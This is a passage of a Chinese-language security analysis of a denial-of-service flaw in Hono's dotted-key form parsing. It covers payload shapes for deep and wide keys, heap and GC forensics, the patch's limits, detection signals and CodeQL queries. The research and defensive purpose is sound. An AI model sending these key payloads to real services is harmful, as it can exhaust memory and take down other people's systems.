前一项 ['a', 'x'] 因为不含点号,不会触发 nested 解析;真正有意思的是处理 ['a.b', 'y'] 时发生的事:

let nestedForm = form
const keys = ['a', 'b']

// index = 0
// nestedForm['a'] 目前是字符串 'x',不是 object
// 所以脆弱版会直接把它覆盖成一个新对象
nestedForm['a'] = Object.create(null)
nestedForm = nestedForm['a']

// index = 1
nestedForm['b'] = 'y'

最后再删掉旧平面键:

delete form['a.b']

返回结果就会变成:

{
  a: {
    b: 'y'
  }
}

原来的标量值 'x' 被静默覆盖掉了。这个语义对漏洞分析很关键,因为它说明 Hono 在这里优先追求“把 dotted path 解释成功”,而不是“保留冲突输入的原始语义”。从资源消耗角度看,这意味着解析器在遇到前缀冲突时不会立刻失败,反而会继续创建对象并推进整条展开链。

6.2 空路径段为什么会提高每字节攻击密度

前面已经提到 split('.') 会保留空段,但这个点很适合再往实现层多压一层。

例如输入:

a..a..a=x

在脆弱版里会得到:

['a', '', 'a', '', 'a']

这件事的攻击价值不只是“也能被解析”,而是“攻击者不需要为每一层都提供完整的可读字段名”。如果把字段名看成编码路径深度的载体,那么空段的存在会让每个 . 都持续具有结构意义,攻击者可以用更短、更机械的字符串堆出更多层 segment。

换句话说,这里被放大的不是“业务字段语义”,而是“分隔符本身的解释权重”。只要解析器不主动清洗空段或拒绝异常 segment,攻击者就能继续把有限字节换成更多路径层级。

6.3 从复杂度表达到“资源单位”更准确

很多文章讲这类问题时,喜欢停在“时间复杂度是 O(n)”或“空间复杂度会增长”这类比较抽象的表达上。但对这条链来说,更有解释力的不是大 O 符号本身,而是具体的资源单位。

对一次 dotted-key 解析,更值得数的是:

  • 会调用多少次 split
  • 会创建多少个中间普通对象
  • 会生成多大的 entries 数组
  • 会让多少原始字段名字符串和片段字符串在同一时间窗内共存

如果用这个视角回头看深度型和广度型 payload,区别会更具体:

  • 深度型 payload 主要线性拉高“单 key 的 segment 数”和“单 key 的中间对象链长度”。
  • 广度型 payload 主要线性拉高“每请求的 dotted key 数量”和“同一解析窗口内同时存在的中间结构总数”。

这比单纯说“都是 O(n)”更贴近实现真相,因为真正把 Node 推进高 GC 区间的,往往是这些资源单位在一个很短时间窗里的叠加峰值。

7. 把一次解析拆成“对象分配账单”

要看清这类请求的成本到底堆在什么地方,与其继续堆 OOM 样本,不如把一次 dotted-key 请求在 Hono 内部会创建哪些中间结构拆开。

以一个最简单的深度型样本 a.a.a.a=x 为例,至少会出现下面这几类分配或持有动作:

阶段

代码位置

至少会新增或持有的结构

对攻击者的意义

读 body

request.arrayBuffer()

一整份原始请求字节缓冲区

先把输入完整驻留到内存

转表单

new Response(arrayBuffer).formData()

Response 对象、FormData 容器、字段名/字段值表示

把字节解释成可枚举键值

平面落地

form[key] = value

一个根 form 对象 + 一个动态属性

先以“平面键”形式接收恶意 key

二次枚举

Object.entries(form)

一个 entries 数组 + 若干 [key, value] 元组

再把平面对象整体复制成可遍历列表

路径拆分

key.split('.')

一个片段数组

把单个字段名重新解释成路径

中间节点创建

nestedForm[key2] = Object.create(null)

每个非叶子段至少一个新对象

真正把路径密度转换成对象密度

收尾

delete form[key]

删除平面键,但只发生在对象图已经建完之后

不能抵消前面已发生的分配高峰

换成更公式化的视角,这件事会更清楚:

  • 对一个深度为 d 的单 key,请求至少会诱导出 1 个 split 结果数组、d-1 个中间对象创建,以及一个在展开完成前仍然挂在根对象上的平面键。
  • 对一个包含 n 个浅层 dotted key 的宽度型请求,请求至少会诱导出 n 个平面属性、1 个长度约为 n 的 entries 数组、n 次 split、以及大量彼此独立的中间对象创建。

wide-limit 的价值就在这里。它打的并不是“单 key 很深”,而是“让一次请求在同一个解析窗口里同时拥有很多平面键、很多 entries 元组、很多 split 数组和很多新建对象”。从实现层面看,这更像一次短时间内的批量分配洪峰。

这里还可以顺手解释为什么修复版在 wide-limit 上的 heapUsed 差值依然不算小。原因不是补丁失效,而是对象总量限制发生在 handleParsingNestedValues() 的中间节点创建分支里。在命中 MAX_NESTED_OBJECTS 之前,前面的几笔成本通常已经付出去了:

  1. 原始 body 已被读成 ArrayBuffer
  2. FormData 已经构造完成
  3. form 平面对象已经收下了所有字段
  4. Object.entries(form) 也已经把这些字段重新枚举成数组

所以修复版真正做对的事,不是“完全不让攻击者制造任何解析成本”,而是“把最危险的那一段无界对象扩张,截断在一个固定阈值之前”。

如果再把 GC 的角度补上,这张“分配账单”会更完整。一次 dotted-key 解析之所以容易把 Node 推进高 GC 区间,不只是因为对象数量多,还因为这些对象在时间上是重叠存活的:

  1. formData.forEach(...) 遍历期间,FormData 仍然可达
  2. Object.entries(form) 生成后,平面对象和 entries 数组会同时存在
  3. handleParsingNestedValues() 执行时,keys 数组、当前 tuple、根 form、新建的嵌套对象会同时可达
  4. delete form[key] 只会移除旧平面键的一个引用,不会让先前创建的 entries 数组、split 结果或嵌套对象立刻消失

因此,攻击者打出的不是“一个一个对象慢慢创建、慢慢释放”的平滑曲线,而更像“在很短的时间窗里把多批中间结构叠在一起”。堆上限足够小时,这种突发式重叠分配就很容易先把进程送进频繁 GC,再把 GC 送进 Mark-Compact,最后才是 heap out of memory。

这也解释了一个常见误区:很多人会把 delete form[key] 理解成“框架最终会把旧键删掉,所以额外成本有限”。但从运行时角度看,真正危险的是“删掉之前发生了什么”。决定风险大小的,是解析窗口里的峰值对象存活量,而不是函数返回后最终剩下多少对象。

8. 把推断升级成运行时证据:--trace-gc 和 heap snapshot 看什么

到这里为止,源码层面的因果链已经比较清楚;再往下追一层,就可以把“源码推断”升级成“运行时证据”。

需要先区分三种证据强度:

  1. before/after heapUsed 差值
  2. GC 时间线日志
  3. heap snapshot 中的保留路径和对象形状

这三者里,当前复现服务里记录的 process.memoryUsage() 属于第一层证据。它很适合回答“这次请求是否明显抬高了堆使用量”,但它回答不了两个更底层的问题:

  • 峰值分配究竟发生在解析链的哪个阶段
  • 哪些对象在 GC 之后仍然被保留,导致进程最终进入 OOM

如果要把这两个问题钉实,还得再看 GC 日志和 heap snapshot。

8.1 GC 日志能证明什么

本文复现环境中的脆弱版容器默认就是:

node --max-old-space-size=64 server.js



因此在这个仓库里做运行时取证,最自然的办法不是换环境,而是在同样的堆限制上额外打开 GC 追踪,例如:

node --trace-gc --trace-gc-nvp --max-old-space-size=64 server.js



放回本文的 deep-crash 场景里,最值得观察的不是某一行日志本身,而是下面这条演化顺序:

  1. 先出现越来越频繁的 GC
  2. 再出现 Mark-Compact
  3. 再出现 allocation failure
  4. 最后才是 Reached heap limit 或 heap out of memory

这条顺序说明进程不是因为“单次字符串太长”瞬间崩溃,而是已经在尝试回收对象,只是回收之后仍然无法把堆压回安全区。把进程推向失败的,是解析窗口里那批对象的总存活量,而不是某一个孤立的大对象。

如果把这层含义说得再直白一点,Mark-Compact 在这里相当于一条运行时证词:V8 已经意识到堆压力异常,并开始用更重的回收策略保命;但 dotted-key 展开路径制造出的对象洪峰仍然高于当前堆限制,所以最终失败。

8.2 heap snapshot 应该重点看什么

GC 日志能证明“进程为什么开始痛苦”,但要证明“究竟是什么对象让它痛苦”,还得看 heap snapshot。

在这个案例里,snapshot 不一定会给你一个名为“Hono 漏洞对象”的漂亮标签;真正该看的,是保留路径和对象簇。更准确地说,应该优先看下面几类现象:

  1. 大量普通对象沿着同一条根路径串成很深的保留链
  2. 大量字符串内容彼此相似,只是字段名前缀或 dotted path 长度不同
  3. 一批数组对象表现为 Object.entries() 结果或 split('.') 结果的中间容器
  4. 保留路径能够回到当前请求处理栈帧、form 根对象,或某个尚未返回的解析中间态

这几类现象分别对应本文前面拆出的四笔核心成本:

  • 原始字段名字符串仍然存活
  • 平面 form[key] 仍然存活
  • Object.entries(form) 物化出来的 entries 仍然存活
  • dotted-path 展开后创建的嵌套对象链仍然存活

这里的重点不在“对象数量排行榜”,而在“保留路径”。因为光看到很多 Object、很多 Array,并不能自动证明它们属于这条漏洞链;只有当这些对象的 retaining path 能一路回到当前请求的解析上下文时,证据才真正落到 Hono parseBody({ dot: true }) 上。

运行时取证里最有价值的问题不是“堆里是不是有很多对象”,而是“这些对象为什么现在还不能被回收”。

8.3 为什么 delete form[key] 不能洗掉证据

从 heap snapshot 视角看,delete form[key] 这句代码还有一个关键点:它会移除一个引用,但不会倒转前面已经发生的对象图构建。

这是因为在 delete 执行之前,通常已经至少存在:

  1. FormData 枚举阶段留下的当前键值表示
  2. Object.entries(form) 生成的 tuple 数组
  3. key.split('.') 生成的片段数组
  4. 新创建的多层嵌套对象

因此就算旧的平面键最终被删掉,heap snapshot 里仍然可能看到同一批 dotted path 以其他形态残留在堆上。这个现象说明,修复前的问题不在于“最后结果对象长什么样”,而在于“解析过程中峰值时刻同时存活了多少中间结构”。

8.4 用这个仓库做取证时,最有价值的观察组合

在本文的复现环境里,一组更有说服力的观察顺序通常是:

  1. 先保留服务里现成的 before/after heapUsed,证明请求窗口里资源确实被抬高
  2. 再在同样的 64 MiB 堆限制下打开 --trace-gc,证明进程是沿着“频繁 GC -> Mark-Compact -> allocation failure -> OOM”的轨迹失稳
  3. 最后在 near-heap-limit 时导出 snapshot,证明堆里保留着大量由 dotted-key 展开诱导出的中间对象和路径相关字符串

这三层证据叠在一起,对漏洞成因的证明会更完整:

  • heapUsed 说明“确实变贵了”
  • GC 日志说明“贵到哪里开始不可恢复”
  • snapshot 说明“究竟是什么东西在贵”

到这里,分析的重点已经不只是确认代码路径,还要说明这些路径在运行时会带来什么代价,以及这些代价如何进一步演化成 GC 压力和 OOM。这正是“源码级分析”和“实现级分析”之间最关键的区别:前者主要回答“代码会怎么走”,后者还要回答“代码这样走时,运行时究竟付出了什么”。

如果还要继续补充运行时材料,优先级更高的通常不是更多 payload,而是两张运行时证据图:

  • 一张 deep-crash 触发前后的 GC 日志截面
  • 一张 heap snapshot 中从请求解析上下文回溯到嵌套对象链的 retaining path

把这两张图补上之后,分析就不只是“知道补丁修了哪里”,而是“能够证明运行时到底因为什么而死”。

9. 边界输入为什么值得单独看

要把这类分析继续推进,重点不在继续堆更多 OOM 样本,而在把“边界输入在解析器里到底会触发什么语义”明确列出来。因为攻击者真正利用的,往往不是某一个超大 payload,而是解析器面对“怪异但合法”的 key 时,愿不愿意继续做工作。

从当前脆弱版和修复版源码可以整理出下面这张行为矩阵:

输入形态

脆弱版行为

攻击者价值

修复版变化

a.b=x

创建一层正常嵌套对象

证明 dotted key 语义确实开启

保持兼容,正常解析

a..b=x

split('.') 后保留空段,形成 a[""]["b"]

用更短字段名编码更多路径段,提高每字节路径密度

补丁没有专门清洗空段;只要未超过深度或总量上限,仍会继续解析

a=x&a.b=y

先存成标量,再把 a 重建为对象并写入 b

说明解析器遇到前缀冲突时不会早停,而是继续投入对象重建成本

同样会继续做语义纠偏,但受总量和深度限制约束

field0.value=x ... field10000.value=x

为大量独立前缀持续创建中间对象

最适合做广度型堆占用拉升

命中 MAX_NESTED_OBJECTS 后统一失败

a.a.a.a...=x

沿单一路径持续下钻并创建长对象链

最适合做深度型长时间解析和 OOM 触发

命中 MAX_NESTING_DEPTH 后尽早失败

这张表真正强调的,其实不是“有哪些奇怪输入”,而是三类语义习惯:

  1. 解析器保留攻击者提供的路径片段,而不是主动规范化它们。
  2. 解析器在遇到前缀冲突时倾向于继续重建对象,而不是拒绝输入。
  3. 解析器默认相信“只要语法上还能往下走,就值得继续创建中间节点”。

从攻击研究角度看,这三点叠在一起就很危险。因为它们意味着攻击者并不需要构造语义完美的业务字段,只需要构造“足以让解析器继续工作”的字段名,就可以持续把成本转移到服务端。

10. 修复版到底加了什么

修复版实现里最值得读者直接看到的,不是几行零散常量,而是“共享状态初始化在什么位置、深度限制在哪里触发、对象总量限制在哪里触发、最终怎么失败”这一整条控制流。把上游 src/utils/body.ts 中与补丁直接相关的片段连起来看,大致是这样:

const MAX_NESTING_DEPTH = 32
const MAX_NESTED_OBJECTS = 10_000

function convertFormDataToBodyData<T extends BodyData = BodyData>(
  formData: FormData,
  options: ParseBodyOptions
): T {
  const form: BodyData = Object.create(null)
  const nestingState = { count: 0 }

  formData.forEach((value, key) => {
    const shouldParseAllValues = options.all || key.endsWith('[]')

    if (!shouldParseAllValues) {
      form[key] = value
    } else {
      handleParsingAllValues(form, key, value)
    }
  })

  if (options.dot) {
    Object.entries(form).forEach(([key, value]) => {
      const shouldParseDotValues = key.includes('.')

      if (shouldParseDotValues) {
        handleParsingNestedValues(form, key, value, nestingState)
        delete form[key]
      }
    })
  }

  return form as T
}

const handleParsingNestedValues = (
  form: BodyData,
  key: string,
  value: BodyDataValue<Partial<ParseBodyOptions>>,
  state: { count: number }
): void => {
  if (/(?:^|\.)__proto__\./.test(key)) {
    return
  }

  let nestedForm = form
  const keys = key.split('.', MAX_NESTING_DEPTH + 2)
  if (keys.length > MAX_NESTING_DEPTH + 1) {
    throwNestingLimitExceeded()
  }

  keys.forEach((key, index) => {
    if (index === keys.length - 1) {
      nestedForm[key] = value
    } else {
      if (
        !nestedForm[key] ||
        typeof nestedForm[key] !== 'object' ||
        Array.isArray(nestedForm[key]) ||
        nestedForm[key] instanceof File
      ) {
        if (state.count++ >= MAX_NESTED_OBJECTS) {
          throwNestingLimitExceeded()
        }
        nestedForm[key] = Object.create(null)
      }
      nestedForm = nestedForm[key] as unknown as BodyData
    }
  })
}

const throwNestingLimitExceeded = (): never => {
  throw new Error('Nesting limit exceeded')
}

从攻击角度看,这个补丁很有代表性,因为它正好堵住了两条最自然的利用路线:

  • 用单个字段打深度
  • 用大量字段打总量

它不是在“优化性能”,而是在直接掐断攻击者的资源放大手段。

把脆弱版和修复版放到同一张执行分叉图里,会更容易看清“补丁到底把失败点前移到了哪里”:



还有两个补丁细节值得单独写出来。

第一,修复版不是先无界 split 再做长度判断,而是直接使用 key.split(".", MAX_NESTING_DEPTH + 2)。这意味着即使攻击者提交超长 dotted key,框架也不会为了“检查它是不是太深”而先把全部片段都完整拆出来,失败点被前移了。

第二,nestingState = { count: 0 } 是在 convertFormDataToBodyData() 作用域里初始化的,然后被传进每一次 handleParsingNestedValues()。这说明对象数量上限不是“单个 key 各算各的”,而是对当前请求整个 dotted-key 展开过程做累计计数。攻击者没法通过把对象创建分散到很多浅层字段来绕过总量限制,这正是补丁对广度型 payload 的关键约束。

从防守视角看,这种设计比单纯限制“字段名长度”更有效,因为它直接约束了真正昂贵的资源单位,也就是“会被新建出来的嵌套对象数量”。

10.1 为什么是 MAX_NESTING_DEPTH + 2

这行代码如果只是草草带过,读者很容易把它理解成“随手设了个 split 上限”。但从实现语义看,+ 2 其实很值得展开。

修复版代码是:

const keys = key.split('.', MAX_NESTING_DEPTH + 2)
if (keys.length > MAX_NESTING_DEPTH + 1) {
  throwNestingLimitExceeded()
}

假设允许的最大深度是 32,那么合法 key 最多只能产生 33 个 segment。这里多给出来的那 1 个槽位,不是为了继续解析,而是为了在“有额外 segment 存在”时留下可观测证据。

也就是说,这段写法的真实意图更接近:

  1. 最多只把前 34 段拆出来,避免无界 split
  2. 但又要确保“第 34 段一旦存在,就足以说明输入已经超限”
  3. 因此长度判断可以在一个固定上界内完成,而不需要先完整物化所有片段

如果没有这个“哨兵槽位”的思路,而只是简单写成 split('.', MAX_NESTING_DEPTH + 1),那么过深输入在某些实现思路下就可能被截断成“看起来刚好合法”的长度,检测语义会变弱。这里的 + 2 本质上是在用一个受控的小额外成本,换取对超深输入的可靠判定。

10.2 为什么对象计数状态要跨 key 共享

nestingState = { count: 0 } 这一点也很值得继续往下讲,因为它暴露了维护者对攻击模型的判断。

如果计数器是每次进入 handleParsingNestedValues() 都重新初始化,那么补丁只能限制“单个 key 最多创建多少对象”,却拦不住攻击者发送成千上万个浅层 key,把对象创建分摊到整次请求里。

修复版没有这么做,而是在 convertFormDataToBodyData() 作用域里创建一次共享状态,再把它传入每一次 nested 展开:

const nestingState = { count: 0 }

Object.entries(form).forEach(([key, value]) => {
  if (key.includes('.')) {
    handleParsingNestedValues(form, key, value, nestingState)
    delete form[key]
  }
})

这意味着维护者限制的资源单位不是“某个 key 的局部深度”,而是“当前请求在整个 dotted-key 解释过程中累计新建了多少中间对象”。这个设计直接针对的就是广度型 payload,因为广度型攻击最擅长的手法并不是把一个 key 打得无限深,而是让很多 key 各自只创建一点点对象,最后把总量堆到不可接受。

10.3 补丁为什么没有去碰更早的 FormData 物化阶段

从“还能不能再更早失败”这个角度看,很多读者会继续追问:既然问题出在对象膨胀,为什么补丁不在 arrayBuffer()、formData() 或 formData.forEach() 更早的阶段就拦截?

这个问题本身很有价值,因为它能帮文章从“补丁描述”进入“补丁设计取舍”。

一个比较稳妥的解释是:维护者修的不是“所有表单解析成本”,而是“dot 语义带来的无界放大”。因此补丁选在 handleParsingNestedValues() 附近落刀,有几个现实好处:

  1. 行为边界最清晰,只有 dot: true 路径受影响。
  2. 默认表单解析兼容性更容易保住,不必重写更底层的 FormData 处理。
  3. 防护直接作用在最昂贵、最失控的资源单位上,也就是无界路径拆分和无界中间对象创建。

这也提醒读者一个实现层面的事实:修复版并没有把“表单解析”变成零成本,它只是把“路径语义扩张”从无界改成了有界。换句话说,补丁真正改变的是攻击者能够放大的那一段,而不是整个解析链都被提前短路。

再往深一点看,补丁实际上改变了三个失败时机:

  1. 在 split 阶段就截断超深 key,避免先完整拆分再报错
  2. 在中间对象创建阶段做全请求累计计数,避免广度型 payload 持续扩张
  3. 在统一异常出口抛出 Nesting limit exceeded,把失败行为固定成可预期的拒绝,而不是放任运行时去决定何时 OOM

这三点叠加后,修复版的语义从“尽力解析直到资源耗尽”变成了“在可控阈值上尽早失败”。从攻击模型角度看,这其实就是把漏洞从资源放大器改成了一个普通的输入校验错误。

六、把整条攻击链串起来

把前面的入口、内部流程和 payload 合在一起,这条链可以概括成三步:

  1. 攻击者把 dotted key 送进会执行 parseBody({ dot: true }) 的表单接口。
  2. Hono 先把原始请求体物化成 FormData 和普通对象,再把 key 解释成路径。
  3. 脆弱版在没有深度和总量上限的情况下持续创建中间对象,最后表现为高 GC、超时、5xx 或 OOM。

问题的关键不在某一个函数,而在于这条链把很小的输入换成了明显更高的服务端资源消耗。

七、真实攻击里怎么用,价值在哪里

这里不展开额外的恶意自动化细节,只从研究和威胁建模角度看它的现实价值。

1. 这是很典型的资源不对称攻击

攻击者发出一个可批量生成的表单请求,成本很低;服务端却要执行:

  • body 解析
  • key 拆分
  • 对象创建
  • 垃圾回收

这种不对称性本身就是 DoS 价值所在。它不一定依赖很高的流量,更重要的是单位请求成本差。深度型 payload 更容易制造单请求长时间卡住,广度型 payload 更容易把堆占用持续抬高。

2. 它很适合打业务边缘接口

最容易被忽视的目标通常不是登录、支付这种核心接口,而是:

  • 文件上传前的表单接口
  • 后台管理里的资料提交接口
  • webhook / callback 接口
  • 接收 multipart/form-data 的移动端 API

这些地方常常会为了方便使用 parseBody(),也更容易顺手打开 dot: true。这类接口通常还有几个共同特征:

  • 字段模型本来就比较松散,业务层不会严格校验参数名格式
  • 更关注“是否收到表单”,而不是“表单字段名是否异常”
  • 常常挂在管理后台、集成平台、移动端适配层或 webhook 中转层,限流和异常监控不如核心登录链路严格

另外,很多边缘接口的参数名本来就更复杂,研发更容易接受诸如 profile.name、meta.tags[]、callback.data.id 这样的字段设计。这会让恶意 dotted key 看起来没那么突兀。

3. 它不依赖超大请求体

很多系统会限制上传文件大小,却不会限制:

  • 表单字段总数
  • 字段名长度
  • dotted key 深度

所以攻击者完全可能在请求体大小看起来正常的情况下,把问题触发在服务端解析逻辑里。网关看到的是普通表单,请求字节数也未必夸张;真正异常的是应用层在解释 dotted key 时发生的对象图膨胀。这类问题更常见的效果不是一次性打死整站,而是把服务拖进延迟升高、偶发 5xx、实例重启变多的亚健康状态。

如果业务层把补丁抛出的异常文本直接回显给客户端,那么 Nesting limit exceeded 这类错误也会有一定探针价值。它本身不提供进一步利用能力,但可以帮助判断:

  • 目标是否已经升级到修复版
  • 目标接口是否确实走到了 dotted-key 解析路径
  • 同一套业务代码里,哪些端点对表单 key 的处理方式不同

4. 防守方更容易先看到应用亚健康

对蓝队或 SRE 来说,这类问题最难受的地方在于:它的第一现场往往不像传统 DoS 那样明显。很多时候,请求体大小正常、入口流量也不夸张,但应用层已经开始为 dotted key 付出异常高的解析成本。

因此更值得盯的不是单一的带宽指标,而是几组一起漂移的信号:

  • p95 / p99 延迟先升高,但入口 QPS 未必同步暴涨
  • Node 进程 RSS 和 heapUsed 波动变陡,GC 时间占比升高
  • 同一路由出现偶发 500、连接异常关闭、请求超时
  • 容器重启次数增加,但每次重启前未必都有超大请求体
  • 反向代理或 WAF 看见的 body size 正常,应用日志却开始出现解析阶段异常

把这几组信号放在一起看,通常就能发现一个典型错位:网关层看到的是“请求不算大”,应用层看到的是“为了理解这些请求,自己做了太多额外工作”。排障时可以先问下面四个问题:

  1. 延迟和 5xx 是否集中在接收表单的少数端点上。
  2. 异常窗口里,Node GC、RSS、重启次数是否同步变差。
  3. 出问题的接口是否使用了 parseBody()、表单 helper,或自定义路径展开逻辑。
  4. 请求体本身不大时,字段数量、字段名长度、点号深度是否异常。

这几项检查能帮助防守方尽早把注意力从“是不是外部流量变大了”转到“是不是应用在解析一个看起来正常、但语义上很贵的输入”。

八、把它当成一类问题后,应该怎么继续找

如果不把它只当成 Hono 的一个孤立问题,而是当成“带路径语义的解析器如何失控”的案例,这套分析方法还可以迁移到别的框架和解析器上。

1. 先用代码模式缩小攻击面

在真实项目里,第一步通常不是上来就做复杂污点分析,而是先找最可能存在语义展开的入口,例如:

  • parseBody({ dot: true })
  • 对 parseBody() 的二次封装 helper
  • 会接收 multipart/form-data 或 application/x-www-form-urlencoded 的 webhook、资料提交、上传前置接口
  • 把字段名解释成路径、层级、数组索引或对象树的自定义 parser

这一步的目标不是直接证明漏洞,而是先把值得继续深挖的代码面缩小。

2. 再把 source 到 sink 的传播链串起来

这次分析里的 CodeQL 部分,重点不在“跑了工具”,而在于把攻击者控制的 key 一步步追到危险操作。这里最值得追的 source 往往不是 value,而是字段名 key:

  1. 攻击者控制的表单字段名进入 FormData
  2. FormData 的 key 被写进 form[key]
  3. Object.entries(form) 又把这个动态属性名重新枚举出来
  4. 该 key 进入 dotted-path 处理函数
  5. 最终命中 split('.')、路径遍历、对象创建、数组扩容等 sink

第一类查询是找真正打开了 dot: true 的业务入口:

/**
 * @name Target parseBody dot entrypoints
 * @description Finds route handlers that enable Hono parseBody dotted-key parsing.
 * @kind problem
 * @problem.severity warning
 * @precision high
 * @id local/hono/parsebody/target-entrypoints
 */

import javascript

from MethodCallExpr routeCall, Function handler, MethodCallExpr parseBodyCall, ObjectExpr options
where
  routeCall.getMethodName() = "post" and
  routeCall.getArgument(0).getStringValue() = "/submit" and
  handler = routeCall.getArgument(1).getUnderlyingValue() and
  parseBodyCall.getEnclosingFunction() = handler and
  parseBodyCall.getMethodName() = "parseBody" and
  options = parseBodyCall.getArgument(0).getUnderlyingValue() and
  options.getPropertyByName("dot").getInit().(BooleanLiteral).getValue() = "true"
select parseBodyCall

第二类查询是把攻击链上的函数节点和调用边枚举出来,确认从请求入口到 handleParsingNestedValues() 的结构确实存在:

predicate tracked(Function f, string role) {
  f.getFile().getRelativePath() = "src/request.ts" and f.getName() = "parseBody" and role = "request-entry"
  or
  f.getFile().getRelativePath() = "src/utils/body.ts" and f.getName() = "parseFormData" and role = "form-parser"
  or
  f.getFile().getRelativePath() = "src/utils/body.ts" and f.getName() = "convertFormDataToBodyData" and role = "form-converter"
  or
  f.getFile().getRelativePath() = "src/utils/body.ts" and f.getName() = "handleParsingNestedValues" and role = "nested-expander"
}

第三类查询是补 source-to-sink 的传播链,也就是把 FormData 的字段名一路补到 key.split('.'):

/**
 * @name Hono parseBody form-data key to split
 * @description Tracks a user-controlled FormData key through object materialization, Object.entries enumeration, and nested dotted-key expansion.
 * @kind path-problem
 * @problem.severity warning
 * @precision high
 * @id local/hono/parsebody/formdata-key-to-split
 */

import javascript
import semmle.javascript.dataflow.DataFlow

predicate isInitialFormDataKey(DataFlow::Node source) {
  exists(DataFlow::MethodCallNode formDataForEach |
    formDataForEach.getFile().getRelativePath() = "src/utils/body.ts" and
    formDataForEach.getMethodName() = "forEach" and
    formDataForEach.getEnclosingFunction().getName() = "convertFormDataToBodyData" and
    source = formDataForEach.getABoundCallbackParameter(0, 1)
  )
}

predicate isEntriesTuple(DataFlow::Node tupleNode) {
  exists(DataFlow::MethodCallNode entriesForEach, InvokeExpr nestedCall |
    entriesForEach.getFile().getRelativePath() = "src/utils/body.ts" and
    entriesForEach.getMethodName() = "forEach" and
    entriesForEach.getEnclosingFunction().getName() = "convertFormDataToBodyData" and
    tupleNode = entriesForEach.getABoundCallbackParameter(0, 0) and
    nestedCall.getEnclosingFunction() = entriesForEach.getCallback(0).getFunction() and
    nestedCall.getCallee().getUnderlyingReference().(Identifier).getName() = "handleParsingNestedValues"
  )
}

predicate isNestedKeyArgument(DataFlow::Node node) {
  exists(InvokeExpr nestedCall |
    nestedCall.getFile().getRelativePath() = "src/utils/body.ts" and
    nestedCall.getEnclosingFunction().getName() = "convertFormDataToBodyData" and
    nestedCall.getCallee().getUnderlyingReference().(Identifier).getName() = "handleParsingNestedValues" and
    node = DataFlow::valueNode(nestedCall.getArgument(1))
  )
}

predicate isNestedKeyParameter(DataFlow::Node node) {
  exists(DataFlow::FunctionNode f |
    f.getFile().getRelativePath() = "src/utils/body.ts" and
    f.getFunction().getName() = "handleParsingNestedValues" and
    node = DataFlow::parameterNode(f.getFunction().getParameter(1))
  )
}

predicate isSplitReceiver(DataFlow::Node sink) {
  exists(DataFlow::MethodCallNode splitCall |
    splitCall.getFile().getRelativePath() = "src/utils/body.ts" and
    splitCall.getEnclosingFunction().getName() = "handleParsingNestedValues" and
    splitCall.getMethodName() = "split" and
    sink = splitCall.getReceiver()
  )
}

module AttackChainFullConfig implements DataFlow::ConfigSig {
  predicate isSource(DataFlow::Node source) { isInitialFormDataKey(source) }

  predicate isSink(DataFlow::Node sink) { isSplitReceiver(sink) }

predicate isAdditionalFlowStep(DataFlow::Node pred, DataFlow::Node succ) {
  exists(DataFlow::PropWrite write |
    write.getFile().getRelativePath() = "src/utils/body.ts" and
    write.getBase().asExpr().(Identifier).getName() = "form" and
    write.getPropertyNameExpr().(Identifier).getName() = "key" and
    pred = write.getPropertyNameExpr().flow() and
    isEntriesTuple(succ)
  )
  or
  isEntriesTuple(pred) and isNestedKeyArgument(succ)
  or
  isNestedKeyArgument(pred) and isNestedKeyParameter(succ)
}
}

module AttackChainFullFlow = TaintTracking::Global<AttackChainFullConfig>;
import AttackChainFullFlow::PathGraph

from AttackChainFullFlow::PathNode source, AttackChainFullFlow::PathNode sink
where AttackChainFullFlow::flowPath(source, sink)
select sink.getNode(), source, sink,
  "A FormData field name reaches the dotted-key split sink through Hono's parseBody attack chain."

这些查询不只是为了证明这次漏洞存在,更重要的是提供了一套可复用的搜索顺序:先找高风险入口,再找字段名传播,最后找真正触发资源放大的解释操作。

3. 把单个案例抽象成通用危险模式

如果一个解析器同时满足下面几个条件,就值得提高警惕:

  • 输入里的字段名、路径名、索引名或段名由攻击者控制
  • 解析器会把这些名称解释为层级语义,而不是普通字符串
  • 解释过程中会自动创建中间对象、数组或节点
  • 深度、宽度、对象总量或展开次数没有硬上限

这四点同时出现时,问题通常就不只是某个框架的小 bug,而是一种稳定的资源放大模式。Hono 这次只是把它表现成 dotted key;换到别的框架、别的 parser,甚至别的语言里,也可能以数组路径、JSON pointer、表单层级展开、配置树构建等形式重复出现。

回到工程排查,通常还是先从仓库里找高风险调用点最划算:

  1. 先 grep 所有 parseBody 调用点,确认哪些地方显式打开了 dot。
  2. 再看这些路由是不是外网可达、是否需要认证、是否接收表单。
  3. 再查项目里是否存在对字段名做二次解释的 helper,例如点号路径转对象、数组语义建树、递归 merge。
  4. 最后才决定是否需要上 CodeQL,把 field name -> dynamic property key -> object expansion sink 这段做成可复用查询。

九、结尾

GHSA-g6gw-c38x-mqfc 不是能直接拿 shell 的漏洞,但它很适合作为一类资源耗尽问题的样本:入口明确,payload 好构造,运行时现象清楚,补丁也正好对应了攻击者最常用的两个杠杆。

从攻击者视角看,值得记住的不是某个版本号,而是这种模式本身:只要应用愿意把用户可控的字段名继续解释成结构,并且在这个过程中不断创建中间对象,就应该考虑资源耗尽风险。Hono 的 parseBody({ dot: true }) 在 4.13.4 之前,正好暴露了这样一条路径。